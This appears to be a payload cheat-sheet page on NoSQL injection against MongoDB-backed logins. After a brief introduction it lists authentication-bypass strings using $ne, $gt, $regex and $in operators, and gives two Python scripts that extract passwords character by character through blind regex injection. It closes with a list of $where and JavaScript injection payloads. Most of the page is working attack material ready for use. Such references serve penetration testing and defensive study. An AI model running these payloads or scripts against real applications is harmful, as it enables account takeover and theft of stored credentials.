Skip to content

NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Summary

Tools

Exploit

Authentication Bypass

Basic authentication bypass using not equal (ne) or greater (gt)

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "in"

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL

POST with JSON body

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

GET

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

References